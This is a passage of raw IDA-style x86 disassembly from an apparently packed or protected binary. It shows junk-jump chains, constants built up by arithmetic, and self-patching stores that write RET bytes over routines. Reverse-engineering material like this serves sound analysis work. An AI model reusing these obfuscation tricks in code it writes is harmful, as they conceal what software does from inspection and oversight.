loc_43844A ; END OF FUNCTION CHUNK FOR sub_448EB6 ; START OF FUNCTION CHUNK FOR sub_44304E loc_43EDF1: ; CODE XREF: sub_44304E+18j jmp sub_441A2B ; END OF FUNCTION CHUNK FOR sub_44304E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43EDF6: ; CODE XREF: sub_44B17B-9F91j jmp loc_44A8C3 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- rol edx, 3 jz loc_449460 jo loc_44D317 jmp loc_43AF1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43EE0F: ; CODE XREF: sub_448EB6:loc_448FEFj pop ecx loc_43EE10: ; CODE XREF: y22d6.y.:004462DEj jns loc_44AE0A mov eax, [esp-8+arg_4] push ebp mov ebp, edx push offset loc_440D4A jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43EE26: ; CODE XREF: y22d6.y.:00437E9Cj adc eax, 74A29600h ; =============== S U B R O U T I N E ======================================= sub_43EE2C proc near ; CODE XREF: sub_44B1D2-30A9p ; FUNCTION CHUNK AT 00441840 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx pop esi mov eax, [ebp-4] pop ecx pop ebp jmp loc_441840 sub_43EE2C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43EE3B: ; CODE XREF: sub_44057E+4AD9j jp loc_4477ED ror ecx, 0Ch loc_43EE44: ; CODE XREF: sub_44057E:loc_44466Fj add eax, 85B2159Ah push offset loc_44D8D0 jmp nullsub_240 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441000 loc_43EE54: ; CODE XREF: sub_441000-8E2Cj jl loc_4421BE and eax, edi jmp loc_4421B6 ; END OF FUNCTION CHUNK FOR sub_441000 ; --------------------------------------------------------------------------- loc_43EE61: ; DATA XREF: sub_43BE66+1o mov ebp, esp push edi mov edi, ecx xchg edi, [esp] loc_43EE69: ; CODE XREF: y22d6.y.:0044BFCFj mov [ebp-4], eax push 319F161Fh pop eax xor eax, 0C336C43Ch jmp loc_44888D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_43EE7D: ; CODE XREF: sub_43C7C1-5590j pop ecx lea eax, loc_43ADCD mov byte ptr [eax], 0C3h jmp loc_43ADCD ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- loc_43EE8C: ; CODE XREF: y22d6.y.:00437011j mov eax, [esp] push offset sub_43BEC1 jmp loc_43716C ; --------------------------------------------------------------------------- mov ebx, 0FD103A27h rol ecx, 17h jmp sub_43E48C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43EEA6: ; CODE XREF: sub_44633F:loc_43A40Cj shl ebp, 6 pop ebx jmp loc_44AD3E ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_43EEAF: ; CODE XREF: sub_444427:loc_44231Aj push 8699D750h pop eax and eax, 0BD3F045h cmp eax, 0DBC8A5Fh jmp loc_44396B ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43EEC6: ; CODE XREF: sub_448EB6-E2F3j add edx, 0F19906BAh add edx, ebp add edx, 58D666A6h mov edx, [edx] call sub_43CFF2 loc_43EEDB: ; CODE XREF: sub_44C171+6j jmp sub_44C322 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43EEE0: ; CODE XREF: y22d6.y.:00443E23j jmp loc_44708B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43EEE5: ; CODE XREF: sub_449641-125FFj jmp loc_447D9C ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- loc_43EEEA: ; CODE XREF: y22d6.y.:loc_43BAB6j push eax mov eax, edx call sub_43BE66 mov eax, [esp] push ecx push 0F2AFA31Fh pop ecx jmp loc_44595E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_43EF01: ; CODE XREF: sub_43F35E+2C9Cj not ebp loc_43EF03: ; CODE XREF: sub_43F35E:loc_43C63Cj ; sub_43F35E+8j ... jmp loc_43A354 ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_43EF08: ; CODE XREF: sub_43EC1C:loc_440432j ; sub_43F35E+34EBj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_43EC1C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EF0B proc near ; CODE XREF: sub_44057E:loc_438BAAj ; y22d6.y.:0043937Ap ... ; FUNCTION CHUNK AT 0043CB85 SIZE 0000000D BYTES push ebp mov ebp, esp jmp loc_43CB85 sub_43EF0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43EF13: ; CODE XREF: sub_44B17B-119ECj jns loc_44A88A jo loc_44C944 add ecx, 78CCCD3Ah xor ebx, 0A55033F8h jmp loc_4389A7 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- push esi push 43EAAEBDh pop esi rol esi, 1Bh add esi, 16228ABBh mov [esi], eax pop esi jmp loc_437519 ; --------------------------------------------------------------------------- loc_43EF48: ; DATA XREF: sub_43E953:loc_4422C6o push eax mov eax, ebp xchg eax, [esp] mov ebp, esp push ecx jmp loc_443D8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_43EF56: ; CODE XREF: sub_4450FD:loc_44DBA2j jz loc_4397D9 jmp loc_442D60 ; END OF FUNCTION CHUNK FOR sub_4450FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_43EF62: ; CODE XREF: sub_446F34+3E7Dj jmp loc_44D323 ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_43EF67: ; CODE XREF: sub_4428C2+520Cj jmp sub_4483BF ; END OF FUNCTION CHUNK FOR sub_4428C2 ; --------------------------------------------------------------------------- loc_43EF6C: ; CODE XREF: y22d6.y.:0044A12Ej sub edx, 563BA7B5h jmp loc_447954 ; --------------------------------------------------------------------------- mov ds:dword_41E15C, eax lea eax, nullsub_309 mov byte ptr [eax], 0C3h jmp loc_43E0F3 ; =============== S U B R O U T I N E ======================================= sub_43EF8B proc near ; CODE XREF: sub_40F22A+2Bp ; y22d6.y.:loc_43BE3Fj ... call sub_4419CC jmp ds:off_41E160 sub_43EF8B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B201 loc_43EF96: ; CODE XREF: sub_43B201+9EA7j jmp loc_44A82C ; END OF FUNCTION CHUNK FOR sub_43B201 ; --------------------------------------------------------------------------- loc_43EF9B: ; CODE XREF: y22d6.y.:004417BDj jmp loc_445156 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_43EFA0: ; CODE XREF: sub_4452EE+3EE3j jnz loc_44762C jmp loc_44DE93 ; END OF FUNCTION CHUNK FOR sub_4452EE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_255. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_43EFAC: ; CODE XREF: sub_43EC01+3D6Dj jmp loc_44B5C1 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; =============== S U B R O U T I N E ======================================= sub_43EFB1 proc near ; CODE XREF: y22d6.y.:0043F778j ; y22d6.y.:loc_445209j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043AB23 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043BF5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440F3F SIZE 00000008 BYTES xchg ecx, [esp+0] pop ecx call sub_43AB31 cmp eax, [ebp-8] jnz loc_440F3F call sub_44D8F4 loc_43EFC8: ; CODE XREF: y22d6.y.:loc_444F55j ; y22d6.y.:loc_446013j xor edx, 0C5A2FFB7h add edx, 20521539h xchg edx, [esp-4+arg_0] jmp sub_440AF5 sub_43EFB1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_43EFDC: ; CODE XREF: sub_4480DE-CCF1j mov edx, [ebp+var_4] imul byte ptr [edx] cmp al, 0A4h jnz loc_44D2C1 mov eax, [ebp+var_4] push offset sub_44D2B1 jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4388E5 loc_43EFF6: ; CODE XREF: sub_4388E5+6j call sub_4432B8 loc_43EFFB: ; CODE XREF: sub_44256D+3826j jmp sub_44256D ; END OF FUNCTION CHUNK FOR sub_4388E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_43F000: ; CODE XREF: sub_441F08+3D39j jmp loc_438018 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43F005: ; CODE XREF: sub_448EB6-F2C3j jmp loc_44D881 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- test edi, 22C1E434h jmp loc_445209 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439FCB loc_43F015: ; CODE XREF: sub_439FCB:loc_444C1Ej ; y22d6.y.:00444EB9j or ebx, 4BC119DBh add ebx, 0ED81460Eh add ecx, ebx pop ebx jmp loc_438F8B ; END OF FUNCTION CHUNK FOR sub_439FCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442060 loc_43F029: ; CODE XREF: sub_442060+6j xchg edx, [esp+4+var_4] push esi push 0C506F113h pop esi rol esi, 0Eh add esi, 0B002811Eh jmp loc_44A38C ; END OF FUNCTION CHUNK FOR sub_442060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43F041: ; CODE XREF: sub_44AEDA:loc_438E93j not edx adc eax, 13173EFCh jmp loc_43FCEF ; END OF FUNCTION CHUNK FOR sub_44AEDA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F04F: ; CODE XREF: y22d6.y.:0043F688j jmp loc_44749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_43F054: ; CODE XREF: sub_44B3C9-FC3Ej ; y22d6.y.:004487CBj add eax, 0A52F5BF4h xor eax, 4BF2AEAAh call sub_43CA1A mov ds:off_41E13C, eax lea eax, sub_44B3C9 mov byte ptr [eax], 0C3h jmp loc_4402C4 ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; --------------------------------------------------------------------------- or eax, eax jnz loc_440310 ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_43F081: ; CODE XREF: sub_43C7C1+1AB3j jmp loc_449837 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_300. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F087: ; CODE XREF: y22d6.y.:loc_43B84Bj jmp sub_444581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43F08C: ; CODE XREF: sub_4432B8-B246j jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_43F091: ; CODE XREF: sub_4441D9:loc_4380B4j xchg edx, [esp+0] jmp sub_441C69 ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- mov ecx, [edi] jmp sub_44E091 ; --------------------------------------------------------------------------- loc_43F0A0: ; CODE XREF: y22d6.y.:loc_43AEA5j jnz loc_441CDB jmp loc_44A645 ; --------------------------------------------------------------------------- push esi push 0BFA1C1C1h pop esi rol esi, 1 add esi, 80FE5CDDh jmp loc_440705 ; --------------------------------------------------------------------------- loc_43F0BF: ; CODE XREF: y22d6.y.:0043CF46j mov edx, 522FFC2Bh ; START OF FUNCTION CHUNK FOR sub_444427 loc_43F0C4: ; CODE XREF: sub_444427:loc_43CF33j add esi, 0A836B1C1h xor esi, 0BE251314h add esi, 0BB66E971h jmp loc_439B59 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- jnz loc_43B851 jmp loc_441568 ; --------------------------------------------------------------------------- mov [ebx], eax ror ecx, 14h jmp sub_439096 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43F0F0 proc near ; CODE XREF: sub_44B674:loc_439B48j ; y22d6.y.:0044312Ap ... xchg ebx, [esp+0] pop ebx lea eax, sub_43CA62 mov byte ptr [eax], 0C3h jmp sub_43CA62 sub_43F0F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43F102 proc near ; CODE XREF: sub_40300B+BBp ; sub_43F102+5j ; DATA XREF: ... call sub_43F112 jmp ds:off_41E214 sub_43F102 endp ; --------------------------------------------------------------------------- loc_43F10D: ; CODE XREF: y22d6.y.:004451FAj jmp loc_449590 ; =============== S U B R O U T I N E ======================================= sub_43F112 proc near ; CODE XREF: sub_43F102p ; sub_444A91:loc_445761j ... ; FUNCTION CHUNK AT 0044A2DC SIZE 00000005 BYTES pop edx push offset loc_445953 jmp loc_44A2DC sub_43F112 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_43F11D: ; CODE XREF: sub_44193A+AC29j xchg edi, [esp+0] ror eax, 0Fh mov ds:dword_441980, eax retn ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445141 loc_43F12A: ; CODE XREF: sub_445141+10j jmp loc_448014 ; END OF FUNCTION CHUNK FOR sub_445141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_43F12F: ; CODE XREF: sub_44193A+65DEj rol eax, 0Fh push esi mov esi, eax xchg esi, [esp+0] jmp loc_439232 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44529A loc_43F13D: ; CODE XREF: sub_44529A+18j jl loc_440596 loc_43F143: ; CODE XREF: y22d6.y.:00439869j jmp loc_44010E ; END OF FUNCTION CHUNK FOR sub_44529A ; --------------------------------------------------------------------------- sub eax, ecx rol ebx, 0Bh jmp loc_440596 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_43F152: ; CODE XREF: sub_44A359-1256Bj jnz loc_43E2F7 jmp loc_440913 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- loc_43F15D: ; CODE XREF: y22d6.y.:00439E3Ej mov ebx, ebp pop ebp or ebx, 77FB9774h sub ebx, 963F63D0h add ebx, 1E84457Ah jmp loc_4481E3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F178: ; CODE XREF: y22d6.y.:00441C8Ej jb loc_43D813 loc_43F17E: ; CODE XREF: y22d6.y.:loc_449C47j not esi ; START OF FUNCTION CHUNK FOR sub_44999F loc_43F180: ; CODE XREF: sub_44999F:loc_441C7Dj sub eax, 0D42858ACh and eax, 0CCC263CBh rol eax, 19h add eax, 7BC3002Ch xchg eax, [esp+0] jmp sub_43EF0B ; END OF FUNCTION CHUNK FOR sub_44999F ; --------------------------------------------------------------------------- loc_43F19D: ; CODE XREF: y22d6.y.:loc_444913j jnz loc_43F9F8 adc ecx, eax test eax, 6FAC9D78h jmp loc_43F9F0 ; --------------------------------------------------------------------------- adc edx, eax call sub_43DABB ; START OF FUNCTION CHUNK FOR sub_44256D loc_43F1B7: ; CODE XREF: sub_44256D:loc_4431C8j jmp loc_4486FA ; END OF FUNCTION CHUNK FOR sub_44256D ; --------------------------------------------------------------------------- loc_43F1BC: ; CODE XREF: y22d6.y.:00449F87j mov [ebx], eax pop ebx call sub_43CC01 ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_43F1C4: ; CODE XREF: sub_4383E0+DAD3j jmp loc_4453DB ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E5C loc_43F1C9: ; CODE XREF: sub_441E5C+357Aj jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_441E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D063 loc_43F1CE: ; CODE XREF: sub_44D063-14DE4j ; sub_4431CD:loc_43DC2Fj jmp loc_44CD6B ; END OF FUNCTION CHUNK FOR sub_44D063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445362 loc_43F1D3: ; CODE XREF: sub_445362+90E5j shr esi, 14h popf jmp loc_43E2C9 ; END OF FUNCTION CHUNK FOR sub_445362 ; --------------------------------------------------------------------------- adc edx, edi jmp sub_448A59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_43F1E3: ; CODE XREF: sub_4384B4:loc_44D3EFj xchg eax, [esp+0] push 349F0E53h xchg edx, [esp+4+var_4] mov ebx, edx pop edx rol ebx, 13h jmp loc_43E94E ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_43F1F9: ; CODE XREF: sub_437B43:loc_44B5E5j ror ebx, 1Bh popf jmp loc_43CAF8 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F2D loc_43F202: ; CODE XREF: sub_439F2D+Aj push edx push ebx push 66629E9Ah pop ebx or ebx, 0C9B42C53h jmp loc_44C649 ; END OF FUNCTION CHUNK FOR sub_439F2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442DA6 loc_43F215: ; CODE XREF: sub_442DA6:loc_44BAD8j call sub_44D088 push offset sub_447841 jmp nullsub_187 ; END OF FUNCTION CHUNK FOR sub_442DA6 ; =============== S U B R O U T I N E ======================================= sub_43F224 proc near ; DATA XREF: y22d6.y.:0044833Do ; FUNCTION CHUNK AT 0043F4F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440E2E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044160E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441B70 SIZE 00000014 BYTES push 839771F8h pop eax add eax, 6A8A48E1h cmp eax, 0B912F004h jmp loc_43F4F7 sub_43F224 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444131 loc_43F23B: ; CODE XREF: sub_444131:loc_447212j call sub_43F7FF mov ds:off_41E00C, eax lea eax, sub_4425E0 mov byte ptr [eax], 0C3h jmp loc_4443EE ; END OF FUNCTION CHUNK FOR sub_444131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_43F254: ; CODE XREF: sub_444581-3528j mov edx, eax push esi push 8D4A1686h pop esi sub esi, 0F4C6E1BBh xor esi, 4FA200F9h add esi, 2922C649h xchg esi, [esp+4+var_4] jmp loc_4436D6 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- loc_43F277: ; CODE XREF: y22d6.y.:0043BC4Cj xor ebp, 0B3EF3193h ; START OF FUNCTION CHUNK FOR sub_449641 loc_43F27D: ; CODE XREF: sub_449641:loc_43BC2Dj and edi, 0ED1D448Ah or edi, 0B60335F8h add edi, 222AB66h call sub_439ACA loc_43F294: ; CODE XREF: y22d6.y.:00448DC6j jmp loc_43833A ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43F299: ; CODE XREF: sub_4432B8+158j jmp loc_442EBA ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43F29E: ; CODE XREF: sub_43D20E+1920j jmp loc_44C416 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43F2A3: ; CODE XREF: sub_4432B8-6018j jge sub_440ABC shr edi, 9 ror ecx, 19h loc_43F2AF: ; CODE XREF: sub_4432B8:loc_4479D7j call sub_43760A jmp loc_43C26F ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- mov ds:dword_41E164, eax lea eax, nullsub_46 mov byte ptr [eax], 0C3h jmp loc_441FAA ; --------------------------------------------------------------------------- db 53h, 68h, 51h ; --------------------------------------------------------------------------- xor ebx, eax rcr byte ptr [ebx-7Fh], cl jmp short loc_43F2E7 ; --------------------------------------------------------------------------- db 84h dd 35E98377h ; --------------------------------------------------------------------------- sar edi, 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F2E0: ; CODE XREF: y22d6.y.:0044AF41j popf sub eax, edi pop edi mov edx, [esp] loc_43F2E7: ; CODE XREF: y22d6.y.:0043F2D5j push ebp jmp loc_4462C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43F2ED: ; CODE XREF: sub_44633F-CF3Dj jnp loc_43906F or ecx, 0AA7BD8F7h loc_43F2F9: ; CODE XREF: sub_44633F+323Bj xor esi, 68124679h rol esi, 3 add esi, 468014F3h mov [esi], eax pop esi jmp loc_4393A6 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_43F310: ; CODE XREF: y22d6.y.:0043861Cj jno loc_43AEA5 adc eax, ebp shr esi, 17h ; START OF FUNCTION CHUNK FOR sub_439E63 loc_43F31B: ; CODE XREF: sub_439E63+E030j rol ecx, 15h sub ecx, 0B3E6EF31h jmp loc_43B4F9 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- loc_43F329: ; CODE XREF: y22d6.y.:004460F9j adc ecx, 56BD896Ch ; START OF FUNCTION CHUNK FOR sub_449641 loc_43F32F: ; CODE XREF: sub_449641:loc_43F6DAj add ebx, 27CA1602h push offset loc_43729D jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_43F33F: ; CODE XREF: sub_44E63C-495Cj jge loc_449689 mov ebx, 376D0846h sub edx, ebp and ecx, eax loc_43F34E: ; CODE XREF: sub_44E63C:loc_443C70j mov eax, [esp+0] push eax call sub_44C171 or eax, eax jmp loc_43B829 ; END OF FUNCTION CHUNK FOR sub_44E63C ; =============== S U B R O U T I N E ======================================= sub_43F35E proc near ; CODE XREF: y22d6.y.:00437C58j ; sub_43F501:loc_43DFC7p ; FUNCTION CHUNK AT 0043C63C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EF01 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00441FF8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044283B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00443873 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443EDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044464C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044DE68 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx imul byte ptr [edx] cmp al, 0A4h jz loc_43EF03 jmp loc_443873 sub_43F35E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 462C961Fh push offset sub_43E165 jmp loc_43871A ; --------------------------------------------------------------------------- loc_43F380: ; CODE XREF: y22d6.y.:loc_43F7EBj jnz loc_442DF5 and esi, 2903BB79h jns loc_443EB2 not ebp jmp loc_442DEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43F399: ; CODE XREF: sub_44B17B:loc_440A32j cmp byte ptr [eax], 0F1h jnz loc_440F5D jmp loc_44CBD0 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_43F3A7: ; CODE XREF: y22d6.y.:0043D117j jno near ptr dword_4388F0+2Dh ; =============== S U B R O U T I N E ======================================= sub_43F3AD proc near ; CODE XREF: sub_445C50+Fp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043AA68 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C16A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004473B8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044822F SIZE 00000016 BYTES xchg eax, [esp+0] pop eax lea eax, byte_43F615 loc_43F3B7: ; CODE XREF: sub_44271A:loc_446EE0j push edx push 31E2DA98h xchg ebx, [esp+0] jmp loc_43C16A sub_43F3AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43F3C5: ; CODE XREF: y22d6.y.:0044DBBCj jge loc_43FBB2 not edx jmp loc_43FBB0 ; --------------------------------------------------------------------------- locret_43F3D2: ; CODE XREF: y22d6.y.:0044B960j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43F3D3: ; CODE XREF: sub_44057E+6D32j jmp loc_44C5BF ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444131 loc_43F3D9: ; CODE XREF: sub_444131+13j or esi, 91B8ECC7h rol esi, 0Bh or esi, 52CA189Fh xor esi, 8ABD475h add edi, esi call sub_44057E loc_43F3F5: ; DATA XREF: sub_4425E0:loc_43AC01o mov eax, [esp+0] push edx call sub_44A46F mov eax, 0CEEC89B4h jmp loc_447212 ; END OF FUNCTION CHUNK FOR sub_444131 ; --------------------------------------------------------------------------- or esi, edx adc ebp, 0C6C5B0D2h jmp sub_444F2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_43F415: ; CODE XREF: sub_4409F4:loc_4413A5j sub ebx, 0D1DD4878h sbb ecx, esi jmp loc_43C366 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; =============== S U B R O U T I N E ======================================= sub_43F422 proc near ; DATA XREF: sub_43AB31+A7D6o ; FUNCTION CHUNK AT 004375D8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004382C9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00438FF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F487 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443989 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00444FAD SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004472C3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C5F7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044E32F SIZE 00000005 BYTES mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_4375FF mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_438FF6 sub_43F422 endp ; --------------------------------------------------------------------------- loc_43F43D: ; CODE XREF: y22d6.y.:00447E6Cj jl loc_44BFFA ; =============== S U B R O U T I N E ======================================= sub_43F443 proc near ; CODE XREF: y22d6.y.:0044A25Bp xchg edi, [esp+0] pop edi push eax push offset sub_445791 jmp nullsub_166 sub_43F443 endp ; --------------------------------------------------------------------------- loc_43F452: ; DATA XREF: sub_437B43+2692o xchg esi, [esp] call sub_449ECF push 5807B740h pop eax xor eax, 657A537Bh or eax, 0FB51D7D9h add eax, 310ED12Eh or eax, 0FB601761h jmp loc_4396AD ; --------------------------------------------------------------------------- call sub_44511C ; START OF FUNCTION CHUNK FOR sub_449880 loc_43F482: ; CODE XREF: sub_449880+9j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_449880 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_43F487: ; CODE XREF: sub_43F422+7EA7j jmp loc_4375D8 ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B27F loc_43F48C: ; CODE XREF: y22d6.y.:0044599Dj ; sub_44B27F:loc_449C88j rol ecx, 1Dh xor ecx, 0C13B3A99h add ecx, 0A46FE29Dh rol ecx, 16h jnb loc_43E1AF loc_43F4A4: ; CODE XREF: sub_43A041:loc_43CE61j ; y22d6.y.:0044E6B1j jmp locret_4432D4 ; END OF FUNCTION CHUNK FOR sub_44B27F ; --------------------------------------------------------------------------- or edi, ecx jmp loc_43E1AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_43F4B0: ; CODE XREF: sub_437B43:loc_44AA58j jz loc_439AF8 jmp loc_437726 ; END OF FUNCTION CHUNK FOR sub_437B43 ; =============== S U B R O U T I N E ======================================= sub_43F4BB proc near ; CODE 